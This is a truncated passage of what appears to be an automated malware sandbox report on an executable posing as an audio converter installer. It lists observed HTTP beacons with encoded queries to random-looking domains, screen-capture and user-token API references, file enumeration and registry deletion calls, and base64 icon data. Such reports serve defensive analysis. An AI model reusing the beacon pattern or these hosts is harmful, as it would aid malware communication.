U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "5281fc235a925ed3e03d6bd974a951290" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: modbdvq.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "70b614e96cc92be20ea778c255bbe258b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: modbdvq.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "90d3b4eec3233d1626a8ff819c7ea949e" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: modbdvq.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "67e28dd83e0bf37a405fff1d7c27d7840" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "6abdd88be4b12eab517aa5c96bd86e897" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "8345835a8bbc896c58e713bc90c94836b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "5281fc235a925ed3e03d6bd974a951290" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "70b614e96cc92be20ea778c255bbe258b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "90d3b4eec3233d1626a8ff819c7ea949e" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "67e28dd83e0bf37a405fff1d7c27d7840" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "6abdd88be4b12eab517aa5c96bd86e897" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "8345835a8bbc896c58e713bc90c94836b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "5281fc235a925ed3e03d6bd974a951290" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "70b614e96cc92be20ea778c255bbe258b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "90d3b4eec3233d1626a8ff819c7ea949e" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "67e28dd83e0bf37a405fff1d7c27d7840" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "6abdd88be4b12eab517aa5c96bd86e897" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "8345835a8bbc896c58e713bc90c94836b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "5281fc235a925ed3e03d6bd974a951290" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "70b614e96cc92be20ea778c255bbe258b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "90d3b4eec3233d1626a8ff819c7ea949e" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "67e28dd83e0bf37a405fff1d7c27d7840" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "6abdd88be4b12eab517aa5c96bd86e897" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "8345835a8bbc896c58e713bc90c94836b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "5281fc235a925ed3e03d6bd974a951290" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "70b614e96cc92be20ea778c255bbe258b" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base62 string in header "90d3b4eec3233d1626a8ff819c7ea949e" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)"67:T420,Found string "+ncalrpc:[OLEDA31755D231A4CEEB4143A667A8F]" (Indicator: "ncalrpc"; Source: "00000000-00002380.00000000.76512.00190000.00000004.mdmp") Found string "+ncalrpc:[OLE0E2ABF9C8E934C5F8AA6110DA667]" (Indicator: "ncalrpc"; Source: "00000000-00002380.00000000.76512.00190000.00000004.mdmp") Found string "I+ncalrpc:[OLE276769BF048F42EE8A0D21690DC7]" (Indicator: "ncalrpc"; Source: "00000000-00002748.00000002.80499.00160000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00002748.00000002.80499.00160000.00000004.mdmp") Found string "+ncalrpc:[OLE0C9232CFEEC3484D97B3C75B9306]" (Indicator: "ncalrpc"; Source: "00000000-00002748.00000002.80499.00160000.00000004.mdmp") Found string "+ncalrpc:[OLEE85DBF22DF7E4D0B984B38FAA2ED]" (Indicator: "ncalrpc"; Source: "00000000-00002748.00000002.80499.00160000.00000004.mdmp") Found string "+ncalrpc:[OLE276769BF048F42EE8A0D21690DC7]" (Indicator: "ncalrpc"; Source: "00000000-00002748.00000002.80499.00160000.00000004.mdmp")68:T550,Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "GetDC" (Indicator: "GetDC"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; Source: "00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp")69:T733,Found reference to API "function GetUserNameString: String;" (Indicator: "GetUserName"; File: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283") Found reference to API "function GetUserNameString: String;" (Indicator: "GetUserName"; Source: "00000000-00002004.00000000.75598.00401000.00000020.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00002004.00000002.79446.004A1000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp")6a:Tf47,"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe" called "FindFirstFileW" with parameter %TEMP%\is-NT8J6.tmp\*.* (UID: 00000000-00003932) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003932) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe" called "FindNextFileW" with parameter 4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp (UID: 00000000-00003932) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindFirstFileA" with parameter %TEMP%\is-NT8J6.tmp\4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\unins???.* (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\AudioConverterRipper.dat (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\AudioConverterRipper.txt (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\Feedback.dat (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\MusicType.txt (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\Update.log (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindFirstFileW" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\*.* (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter .. (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter Admin run MMWaveEditX.bat (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter AntiWatermark.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter ApngDecoder.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter AudioDataImp.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter AudioFilter.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter AudioResample.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter avdevice-55.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter AVPlayer.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter AVTools.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter avutil-52.dll (UID: 00000000-00002004) "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" called "FindNextFileW" with parameter BurnControl.dll (UID: 00000000-00002004)6b:T873,Found registry deletion API: "RegDeleteKeyExA" in file "00000000-00002004.00000000.75598.00401000.00000020.mdmp" Found registry deletion API: "nction RegDeleteValue(const RootKey: Integer; const SubKeyName, ValueName: String): Boolean;" in file "00000000-00002004.00000000.75598.00401000.00000020.mdmp" Found registry deletion API: "RegDeleteValueA" in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283" Found registry deletion API: "RegDeleteKeyA" in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283" Found registry deletion API: "RegDeleteKeyW" in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283" Found registry deletion API: "RegDeleteKeyExA" in "00000000-00002004.00000000.75598.00401000.00000020.mdmp" Found registry deletion API: "function RegDeleteKeyIncludingSubkeys(const RootKey: Integer; const SubkeyName: String): Boolean;" in "00000000-00002004.00000000.75598.00401000.00000020.mdmp" Found registry deletion API: "function RegDeleteKeyIfEmpty(const RootKey: Integer; const SubkeyName: String): Boolean;" in "00000000-00002004.00000000.75598.00401000.00000020.mdmp" Found registry deletion API: "function RegDeleteValue(const RootKey: Integer; const SubKeyName, ValueName: String): Boolean;" in "00000000-00002004.00000000.75598.00401000.00000020.mdmp" Found registry deletion API: "RegDeleteValueA" in "00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp" Found registry deletion API: "RegDeleteKeyA" in "00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp" Found registry deletion API: "RegDeleteKeyIfEmpty" in "00000000-00002004.00000000.75598.014B0000.00000004.mdmp, 00000000-00002004.00000002.79446.014B0000.00000004.mdmp" Found registry deletion API: "RegDeleteKeyW" in "00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp" Found registry deletion API: "RegDeleteKeyExW" in "00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp" Found registry deletion API: "RegDeleteValueW" in "00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp"6c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAd3AAAAAAAAAAAAAAAAAAd4iI5gAAAAAAAAePjwAAB4iIiOZoAAAAAAAH+PgHAHiIiI5miIAAAAAAB4+PCHB4iIiGaI/wAAAAAAf4+AeHiIiIho///wAAAAAHj48Id4iIiAD/+IgAAAAAB/j4B4eIiIAAB3eIAAAAAAePjwh3d3dwAAiHdwAAAAAH+PgHh/+I7gCI+IgAAAAAB///CHf47md4iI+IAAAAAAf//weHfuZ3iIiI8AAAAAAH//8IeH5meIiIiICIiIAAB///CIiHZ3iIiIgAAAiHAAf//wiIgHd4iIgAd3d4hwAH//8IiID/d3d3//////cAB3d3CIiAd3d3d3d3d3eHAAd3dwiIgAAAAAAAAAAACAB///9wiIB4iIiIiIiIiHAHd3d3dwiAf/////////hwAAAAd3dwgH9ERERERET4cAAAAAd3dwB/TohmZszE+HAAAAAAf//wf0/ohmZsxPhwAAAAAAd3dw9O/ohmZsT4cAAAAAAAAAB/T+/ohmZk+HAAAAAAAAAAf07+/ohmZPhwAAAAAAAAAH9I7+/ohmT4cAAAAAAAAAB/SI7+/ohk+HAAAAAAAAAAf0iI7+/ohPhwAAAAAAAAAH9ERERERET4cAAAAAAAAAB/////////+HAAAAAAAAAAB3d3d3d3d3dwD//gf/wPgB/8BwAP/AIAB/wAAAf8AAAD/AAAA/wABgP8AAYD/AAAA/wAAAP8AAAAPAAAABwAAAAMAAAADAAAAAwAAAAMAAAACAAAABAAAAAfgAAAH8AAAB/gAAAf8AAAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//wAAw==6d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAd3AAAAAAAAAAAAAAAAAAd4iI5gAAAAAAAAePjwAAB4iIiOZoAAAAAAAH+PgHAHiIiI5miIAAAAAAB4+PCHB4iIiGaI/wAAAAAAf4+AeHiIiIho///wAAAAAHj48Id4iIiAD/+IgAAAAAB/j4B4eIiIAAB3eIAAAAAAePjwh3d3dwAAiHdwAAAAAH+PgHh/+I7gCI+IgAAAAAB///CHf47md4iI+IAAAAAAf//weHfuZ3iIiI8AAAAAAH//8IeH5meIiIiICIiIAAB///CIiHZ3iIiIgAAAiHAAf//wiIgHd4iIgAd3d4hwAH//8IiID/d3d3//////cAB3d3CIiAd3d3d3d3d3eHAAd3dwiIgAAAAAAAAAAACAB///9wiIB4iIiIiIiIiHAHd3d3dwiAf/////////hwAAAAd3dwgH9ERERERET4cAAAAAd3dwB/TohmZszE+HAAAAAAf//wf0/ohmZsxPhwAAAAAAd3dw9O/ohmZsT4cAAAAAAAAAB/T+/ohmZk+HAAAAAAAAAAf07+/ohmZPhwAAAAAAAAAH9I7+/ohmT4cAAAAAAAAAB/SI7+/ohk+HAAAAAAAAAAf0iI7+/ohPhwAAAAAAAAAH9ERERERET4cAAAAAAAAAB/////////+HAAAAAAAAAAB3d3d3d3d3dwD//gf/wPgB/8BwAP/AIAB/wAAAf8AAAD/AAAA/wABgP8AAYD/AAAA/wAAAP8AAAAPAAAABwAAAAMAAAADAAAAAwAAAAMAAAACAAAABAAAAAfgAAAH8AAAB/gAAAf8AAAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//wAAw==6e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAd3AAAAAAAAAAAAAAAAAAd4iI5gAAAAAAAAePjwAAB4iIiOZoAAAAAAAH+PgHAHiIiI5miIAAAAAAB4+PCHB4iIiGaI/wAAAAAAf4+AeHiIiIho///wAAAAAHj48Id4iIiAD/+IgAAAAAB/j4B4eIiIAAB3eIAAAAAAePjwh3d3dwAAiHdwAAAAAH+PgHh/+I7gCI+IgAAAAAB///CHf47md4iI+IAAAAAAf//weHfuZ3iIiI8AAAAAAH//8IeH5meIiIiICIiIAAB///CIiHZ3iIiIgAAAiHAAf//wiIgHd4iIgAd3d4hwAH//8IiID/d3d3//////cAB3d3CIiAd3d3d3d3d3eHAAd3dwiIgAAAAAAAAAAACAB///9wiIB4iIiIiIiIiHAHd3d3dwiAf/////////hwAAAAd3dwgH9ERERERET4cAAAAAd3dwB/TohmZszE+HAAAAAAf//wf0/ohmZsxPhwAAAAAAd3dw9O/ohmZsT4cAAAAAAAAAB/T+/ohmZk+HAAAAAAAAAAf07+/ohmZPhwAAAAAAAAAH9I7+/ohmT4cAAAAAAAAAB/SI7+/ohk+HAAAAAAAAAAf0iI7+/ohPhwAAAAAAAAAH9ERERERET4cAAAAAAAAAB/////////+HAAAAAAAAAAB3d3d3d3d3dwD//gf/wPgB/8BwAP/AIAB/wAAAf8AAAD/AAAA/wABgP8AAYD/AAAA/wAAAP8AAAAPAAAABwAAAAMAAAADAAAAAwAAAAMAAAACAAAABAAAAAfgAAAH8AAAB/gAAAf8AAAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//wAAw==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html